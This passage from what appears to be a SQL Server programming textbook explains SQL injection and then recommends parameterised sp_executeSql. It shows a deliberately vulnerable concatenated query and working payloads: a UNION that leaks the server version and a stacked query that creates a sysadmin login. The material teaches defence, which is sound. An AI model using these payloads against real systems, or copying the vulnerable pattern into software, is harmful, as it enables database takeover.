Creating queries using values entered by the user is a significant security risk, especially if the application is a public Web site, in which case you don't know who the user is or how much knowledge the user has. If the user knows about SQL syntax, they can break into your database using a technique known as a "SQL-injection" attack.
How SQL-Injection Attacks Work
Let's consider a very simple example. Imagine a public Web site that lets the user search for products online. In the site, the application allows the user to find products using part of the name, so it builds and uses a simple dynamic query like this:
SqlDataSource1.SelectCommand = _ "SELECT ProductNumber, Name, ListPrice " _ "FROM Production.Product WHERE Name LIKE '" _ & TextBox1.Text & "%'" Me.GridView1.DataBind()
The user can enter the first characters of a name in a Search By textbox and the code will search for products whose name begins with those characters, as shown in Figure 7-2.
Figure 7-2. A simple application that uses text from a textbox to build a dynamic query.
Well, as a SQL expert, even if you know nothing about the application, you can imagine that behind the scenes it is running code similar to what you've learned in this chapter. You can check if you're right. What happens if you enter the following in the Search By textbox?
a' UNION select @@Version, @@SERVERNAME, 0;--
In fact, you will get the result shown in Figure 7-3 because the unsophisticated application turns the user's input into the following SQL statements:
SELECT ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE 'a' UNION select @@Version,@@SERVERNAME,0;--%'
Figure 7-3. The user has performed a SQL-injection attack by entering a SQL command in the textbox.
Notice the close-quote character (') and the comment characters (- -)that the sneaky user has used to transform the dynamic query into multiple valid SQL statements.
Now you know which database engine is running on the server and you know its name, but more importantly, you know that the server can execute your commands. If you want to give yourself maximum permission on the server, you can create your own user!
The following code creates the user BadBoy and adds it to the server role sysadmin!
USE [master] CREATE LOGIN [BadBoy] WITH PASSWORD='Mad', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF EXEC master.sp_addsrvrolemember @loginame = 'BadBoy', @rolename = 'sysadmin'
If you enter this in the textbox with a close-quote (') to end the WHERE clause and comment characters to eliminate the application-supplied close-quote, you will cause the application to generate and execute the following code to create a new user:
SELECT ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE 'a'; USE [master]; CREATE LOGIN [BadBoy] WITH PASSWORD='Mad', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF; EXEC master..sp_addsrvrolemember @loginame = 'BadBoy', @rolename = 'sysadmin'; --%'
In addition, you can check whether your user has been created by entering the following in the textbox:
a' UNION SELECT name, CONVERT(nvarchar(1), sysadmin) AS IsAdmin, 0 AS Expr1 FROM sys.syslogins WHERE (name = 'BadBoy')--%'
Doing so creates the following SQL statements:
SELECT ProductNumber, Name, ListPrice FROM Production.Product WHERE Name LIKE 'a' UNION SELECT name, CONVERT(nvarchar(1), sysadmin) AS IsAdmin, 0 AS Expr1 FROM sys.syslogins WHERE (name = 'BadBoy')--%'
How to Prevent SQL-Injection Attacks
Now you have a clear idea about what can occur, so take the time and effort to protect your database from this sort of attack by following a few simple guidelines.
How to Use sp_ExecuteSql
The sp_executeSql system stored procedure allows you to execute dynamically defined T-SQL sentences in the same way the EXECUTE command does. However, sp_executeSql requires you to define the parameters and their datatypes as well as the values for those parameters.
The first time sp_executeSql executes your query, it creates and preserves a query plan. Since the parameter definition is required, each time the sentence is executed subsequently, sp_executeSql simply updates the parameter values and uses the same query plan.
Because this system stored procedure needs a parameter definition, you can create complex queries not only for a SELECT statement, but for any database action your application requires. Your statements can even include output parameters.
Assume that you need to define a new reason for delayed production in the AdventureWorks database, and you are required to assign the new reason to all the work orders for which the due date is greater than the end date. You can use the following T-SQL script to accomplish both tasks in a single batch. This code is included in the sample files as newReason.sql.
--Variable for the T-SQL Statement DECLARE @sql nvarchar(300); SET @sql='INSERT INTO [AdventureWorks].[Production].[ScrapReason] ([Name] ,[ModifiedDate]) VALUES (@NewNameSQL ,GetDate()); ' SET @sql=@sql + 'SET @NewIdSQL=(SELECT ScrapReasonID ' + 'FROM [AdventureWorks].[Production].[ScrapReason] ' + 'WHERE Name=@NewNameSQL)' -- Variable to get the new Id DECLARE @NewId int; -- Parameters declaration DECLARE @Params nvarchar(200); SET @Params='@NewNameSQL nvarchar(100), @NewIdSQL int OUTPUT'; -- New Name to add DECLARE @NewName nvarchar(100); SET @NewName='Delayed Production'; -- Execute the insert into ScrapReason EXEC sp_executeSql @sql,@params,@NewNameSQL=@NewName, @NewIdSQL=@NewId OUTPUT; /* Change the T-SQL statement to update the ScrapReasonID to this new one, for all the records with End Date greater than Due Date */ SET @sql='UPDATE [AdventureWorks].[Production].[WorkOrder] ' + 'SET ScrapReasonID=@NewIdSQL ' + 'WHERE (EndDate > DueDate) AND (ScrapReasonID IS NULL)'; -- Define the parameter for this new sentence SET @Params='@NewIdSQL int '; EXEC sp_executeSql @sql, @params, @NewIdSQL=@NewId; GO
As you can see, sp_executeSql allows you to apply parameters to dynamic SQL statements other than simple SELECT queries.